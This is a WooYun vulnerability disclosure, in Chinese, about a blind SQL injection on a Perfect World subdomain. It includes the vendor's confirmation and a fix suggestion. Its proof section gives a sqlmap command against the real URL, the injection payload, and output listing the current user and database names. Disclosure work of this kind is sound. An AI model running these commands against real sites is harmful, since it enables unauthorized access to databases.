当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066412

漏洞标题:完美时空分站SQL盲注

相关厂商:完美时空

漏洞作者: rorosec

提交时间:2014-06-27 14:17

修复时间:2014-08-11 14:18

公开时间:2014-08-11 14:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-27: 细节已通知厂商并且等待厂商处理中
2014-06-27: 厂商已经确认,细节仅向厂商公开
2014-07-07: 细节向核心白帽子及相关领域专家公开
2014-07-17: 细节向普通白帽子公开
2014-07-27: 细节向实习白帽子公开
2014-08-11: 细节向公众公开

简要描述:

分站某点Oracle盲注

详细说明:

http://wangba.wanmei.com/xljz/getxljzbar.do?search.proId=0&search.cityId=0&search.sectionId=0&search.barName=&page=123
search.barName为问题参数,可注入:
http://wangba.wanmei.com/xljz/getxljzbar.do?search.proId=0&search.cityId=0&search.sectionId=0&search.barName=&page=123
http://wangba.wanmei.com/xljz/getxljzbar.do?search.proId=0&search.cityId=0&search.sectionId=0&search.barName=-- &page=123

漏洞证明:

sqlmap -u "http://wangba.wanmei.com/xljz/getxljzbar.do?search.proId=0&search.cityId=0&search.sectionId=0&search.barName=&page=123" --current-user --threads=4
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:57:48
[13:57:48] [INFO] resuming back-end DBMS 'oracle'
[13:57:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: search.barName
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search.proId=0&search.cityId=0&search.sectionId=0&search.barName=%' AND 9802=9802 AND '%'='&page=123
---
[13:57:51] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[13:57:51] [INFO] fetching current user
[13:57:51] [INFO] retrieving the length of query output
[13:57:51] [INFO] retrieved:
[13:57:56] [WARNING] reflective value(s) found and filtering out
6
[13:58:50] [INFO] retrieved: NETBAR
current user: 'NETBAR'
[13:58:50] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/wangba.wanmei.com'
[13:47:11] [INFO] fetching database (schema) names
[13:47:11] [INFO] fetching number of databases
[13:47:11] [INFO] resumed: 8
[13:47:11] [INFO] retrieving the length of query output
[13:47:11] [INFO] retrieved:
[13:47:18] [WARNING] reflective value(s) found and filtering out
6
[13:47:58] [INFO] resuming partial value: CT
[13:48:43] [INFO] retrieved: CTXSYS
[13:48:43] [INFO] retrieving the length of query output
[13:48:43] [INFO] retrieved: 6
[13:50:57] [INFO] retrieved: EXFSYS
[13:50:57] [INFO] retrieving the length of query output
[13:50:57] [INFO] retrieved: 5
[13:52:59] [INFO] retrieved: MDSYS
[13:52:59] [INFO] retrieving the length of query output
[13:52:59] [INFO] retrieved: 6
[13:54:58] [INFO] retrieved: NETBAR
[13:54:58] [INFO] retrieving the length of query output
[13:54:58] [INFO] retrieved: 7
[13:57:13] [INFO] retrieved: OLAPSYS
[13:57:13] [INFO] retrieving the length of query output
[13:57:13] [INFO] retrieved: 3
[13:58:54] [INFO] retrieved: SYS
[13:58:54] [INFO] retrieving the length of query output
[13:58:54] [INFO] retrieved: 6
[14:00:52] [INFO] retrieved: SYSTEM
[14:00:52] [INFO] retrieving the length of query output
[14:00:52] [INFO] retrieved: 5
[14:02:50] [INFO] retrieved: WMSYS
available databases [8]:
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] NETBAR
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] WMSYS
[14:02:50] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/wangba.wanmei.com'

修复方案:

过滤search.barName参数

版权声明:转载请注明来源 rorosec@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-27 14:55

厂商回复:

感谢洞主对完美世界的关注,我们会尽快修复此漏洞,谢谢!

最新状态:

暂无